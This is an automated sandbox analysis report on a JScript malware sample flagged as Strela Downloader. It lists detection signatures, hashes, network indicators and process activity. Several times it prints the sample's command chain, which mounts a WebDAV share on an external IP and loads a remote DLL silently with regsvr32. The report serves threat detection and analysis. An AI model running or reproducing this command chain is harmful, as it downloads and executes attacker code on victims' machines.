Windows Analysis Report
23276189011851115158.js

Overview

General Information

Sample name: 23276189011851115158.js
Analysis ID: 1566426
MD5: 30d2ac84cf5e4e1bee7f19c80f4f0916
SHA1: c3f8052ec3f36490d6f6d6f8b4c76f52edd24840
SHA256: be304b53cea571d5deffad9787149369324e26942f42e1a894f18aa3f82c09bd
Tags: jsStrelaStealeruser-kupschke
Infos:

Detection

Strela Downloader
Score: 72
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

JScript performs obfuscated calls to suspicious functions
Yara detected Strela Downloader
Gathers information about network shares
Sigma detected: WScript or CScript Dropper
Uses known network protocols on non-standard ports
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Found WSH timer for Javascript or VBS script (likely evasive script)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Program does not show much activity (idle)
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Communication To Uncommon Destination Ports
Sigma detected: Cscript/Wscript Potentially Suspicious Child Process
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Classification

Networking
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Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown Network traffic detected: HTTP traffic on port 8888 -> 49708
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.11:49708 -> 94.159.113.84:8888
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 94.159.113.84 94.159.113.84
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: NETCOM-R-ASRU NETCOM-R-ASRU
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.84
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.84
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.84
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.84
Source: net.exe, 0000000B.00000002.1306078372.00000279AFB39000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000B.00000002.1306078372.00000279AFB55000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000B.00000002.1306078372.00000279AFB10000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.84:8888/
Source: net.exe, 0000000B.00000002.1306078372.00000279AFB39000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.84:8888/WH
Source: net.exe, 0000000B.00000002.1306078372.00000279AFB39000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.84:8888/gH
Source: net.exe, 0000000B.00000002.1306078372.00000279AFB10000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.84:8888/paceTcy

Spam, unwanted Advertisements and Ransom Demands
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Yara detected Strela Downloader
Source: Yara match File source: amsi64_7460.amsi.csv, type: OTHER
Source: Yara match File source: Process Memory Space: wscript.exe PID: 7460, type: MEMORYSTR

System Summary
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Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Java / VBScript file with very long strings (likely obfuscated code)
Source: 23276189011851115158.js Initial sample: Strings found which are bigger than 50
Source: classification engine Classification label: mal72.rans.troj.spyw.evad.winJS@10/0@0/1
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7724:120:WilError_03
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23276189011851115158.js"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 1&&cmd /c net use \\94.159.113.84@8888\davwwwroot\ && cmd /c regsvr32 /s \\94.159.113.84@8888\davwwwroot\98521559926943.dll
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout 1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe cmd /c net use \\94.159.113.84@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\net.exe net use \\94.159.113.84@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 1&&cmd /c net use \\94.159.113.84@8888\davwwwroot\ && cmd /c regsvr32 /s \\94.159.113.84@8888\davwwwroot\98521559926943.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout 1 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe cmd /c net use \\94.159.113.84@8888\davwwwroot\ Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\net.exe net use \\94.159.113.84@8888\davwwwroot\ Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: jscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\timeout.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: drprov.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: ntlanman.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: davclnt.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: davhlpr.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32 Jump to behavior

Data Obfuscation
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JScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: WScript.Shell");IWshShell3.Run("cmd /c timeout 1&&cmd /c net use \\94.159.113.84@8888\davwwwroot\ && cmd /", "0", "false")

Hooking and other Techniques for Hiding and Protection
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Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown Network traffic detected: HTTP traffic on port 8888 -> 49708
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\net.exe TID: 7852 Thread sleep time: -30000s >= -30000s Jump to behavior
Program does not show much activity (idle)
Source: all processes Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: net.exe, 0000000B.00000002.1306078372.00000279AFB67000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000B.00000002.1306078372.00000279AFB10000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000B.00000002.1306078372.00000279AFB67000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW,
Program does not show much activity (idle)
Source: all processes Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 1&&cmd /c net use \\94.159.113.84@8888\davwwwroot\ && cmd /c regsvr32 /s \\94.159.113.84@8888\davwwwroot\98521559926943.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout 1 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe cmd /c net use \\94.159.113.84@8888\davwwwroot\ Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\net.exe net use \\94.159.113.84@8888\davwwwroot\ Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
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Gathers information about network shares
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 1&&cmd /c net use \\94.159.113.84@8888\davwwwroot\ && cmd /c regsvr32 /s \\94.159.113.84@8888\davwwwroot\98521559926943.dll
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe cmd /c net use \\94.159.113.84@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\net.exe net use \\94.159.113.84@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 1&&cmd /c net use \\94.159.113.84@8888\davwwwroot\ && cmd /c regsvr32 /s \\94.159.113.84@8888\davwwwroot\98521559926943.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe cmd /c net use \\94.159.113.84@8888\davwwwroot\ Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\net.exe net use \\94.159.113.84@8888\davwwwroot\ Jump to behavior
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1566426 Sample: 23276189011851115158.js Startdate: 02/12/2024 Architecture: WINDOWS Score: 72 26 Yara detected Strela Downloader 2->26 28 Uses known network protocols on non-standard ports 2->28 30 Sigma detected: WScript or CScript Dropper 2->30 8 wscript.exe 1 1 2->8         started        process3 signatures4 32 JScript performs obfuscated calls to suspicious functions 8->32 34 Windows Scripting host queries suspicious COM object (likely to drop second stage) 8->34 36 Gathers information about network shares 8->36 11 cmd.exe 1 8->11         started        process5 signatures6 38 Gathers information about network shares 11->38 14 cmd.exe 1 11->14         started        17 conhost.exe 11->17         started        19 timeout.exe 1 11->19         started        process7 signatures8 40 Gathers information about network shares 14->40 21 net.exe 1 14->21         started        process9 dnsIp10 24 94.159.113.84, 49708, 8888 NETCOM-R-ASRU Russian Federation 21->24
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
94.159.113.84
 unknown Russian Federation
49531 NETCOM-R-ASRU true